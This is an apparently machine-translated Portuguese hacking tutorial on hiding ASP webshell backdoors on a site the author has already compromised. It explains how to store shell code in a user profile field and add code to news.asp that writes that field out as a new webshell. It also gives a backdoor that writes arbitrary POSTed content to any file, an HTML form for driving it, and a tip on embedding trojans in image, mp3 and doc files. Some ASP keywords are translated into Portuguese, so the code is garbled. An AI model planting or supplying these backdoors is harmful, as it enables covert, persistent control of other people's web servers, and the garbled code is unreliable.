Prefácio: Já se passou muito tempo, desde o gerenciador de site inicial até os vários backdoors ASP populares agora. Acredito que a maioria dos administradores de rede pode nomear esses webshells clássicos, como Haiyang, Veteran, Blue Screen, etc. os administradores de rede podem nomeá-los. Aprendi o método de pesquisa por palavra-chave para procurar esses Trojans. É claro que, se você quiser ocultar o backdoor nos dias de hoje, precisará usar algumas habilidades, como diz o ditado: "O Buda tem um pé só. alto, e eu tenho trinta centímetros de altura."
Não nego que gravar o Trojan asp no arquivo de imagem, conforme mencionado anteriormente, seja um bom método. Na verdade, ele pode ser gravado não apenas em imagens, mas também em arquivos mp3 e doc.
O método decopiar nome/parâmetro do arquivo + nome/parâmetro do arquivo para gerar o nome do arquivo
pode ser usado de forma flexível para atingir o objetivo de ocultar arquivos. Os parâmetros específicos são /a no modo de código acsic, /b no modo binário, então ganhei. Para entrar em muitos detalhes, quanto a como fazer upload do webshell, o que é webshell não está no escopo deste artigo. O que vamos falar hoje é como colocar o backdoor no banco de dados com o sufixo .mdb. A premissa é que depois de obtermos um webshell...
Como sabemos, muitos sites precisam preencher muitas coisas quando. registro de usuários, como: nome de usuário, senha, QQ, e-mail, perfil pessoal, número de telefone, informações de contato, endereço, etc. Haverá também tabelas, campos e valores correspondentes ao banco de dados. O que quero fazer hoje é registrar um usuário e escrever o código shell em meu perfil pessoal e, em seguida, modificar um arquivo em seu site. Quando esse arquivo for acionado ao usá-lo, colocarei o código shell em meu currículo pessoal. até o diretório atual.
Sem mais delongas, vamos dar uma olhada no código:
<%
if request("action")="firefox" então
fname=request.querystring("fn")
tname=request.querystring("tn")
bname=request.querystring("bn")
id=request.querystring("id")
idvalue=request.querystring("idv")
definir rs=server.createobject("ADODB.recordset")
sql="select "& bname & " de "&tname& " onde "&id&"="&idvalue&""""
rs.open sql,conn,1,3
se não rs.eof então
conteúdo=rs(bnome)
outro
resposta.write "Nada"
terminar se
definir fso=Server.createObject("Scripting.FileSystemObject")
definir txtfile=fso.createtextfile(server.mappath(fname))
arquivotxt.writeline(conteúdo)
arquivotxt.fechar
terminar se
%>
Adicione o código acima a um arquivo do site, como news.asp. De acordo com as informações que temos, após se cadastrar em seu site, baixe o banco de dados para ver a estrutura. O nome do firefox que registrei está na tabela do usuário e seu valor de id é 119. O campo da tabela usado para armazenar meu currículo cadastrado é jl.
news.asp?action=firefox&fn=firefox.asp&tn=user&bn=jl&id=id&idv=119
Então, ao usá-lo, podemos escrever um webshell chamado firefox.asp no mesmo diretório que news.asp. Pode-se dizer que o método acima é um dos milhares de métodos de ocultação. A seguir, vamos falar sobre outro método de ocultação mais conveniente. Este método não tem nada a ver com o sufixo mdb.
Da mesma forma, ainda modificamos news.asp e inserimos o seguinte código no news.asp da outra parte:
<%
if request("action")="firefox" então
n = solicitação.form ("n")
c=request.form("c")
definir fso=Server.createObject("Scripting.FileSystemObject")
definir txtfile=fso.createtextfile(server.mappath(n))
arquivotxt.writeline(c)
arquivotxt.fechar
terminar se
%>
Este código é relativamente simples e pode ser considerado o lado servidor de um cavalo de Tróia. Use este código ao usá-lo:
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>Primeira Aliança Tecnológica Firefox[www.wrsky.com]</title>
<FORM action=" http://localhost/config.asp?action ... método=post>
<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<BODY>Nome:<Tamanho da ENTRADA=50
name=n width="32"><BR><BR>Shell:<TEXTAREA name=c rows=10 cols=80
width="32"></TEXTAREA><INPUT type=submit value=Save></FORM></BODY></HTML>
Altere o código acima: "http://localhost/config.asp?action= Substitua "firefox" com o endereço do seu servidor e salve-o como um arquivo .htm local. Após abri-lo localmente, defina o nome do arquivo, o conteúdo do arquivo e o envio remoto a ser gerado. OK, esta é outra forma de deixar um backdoor.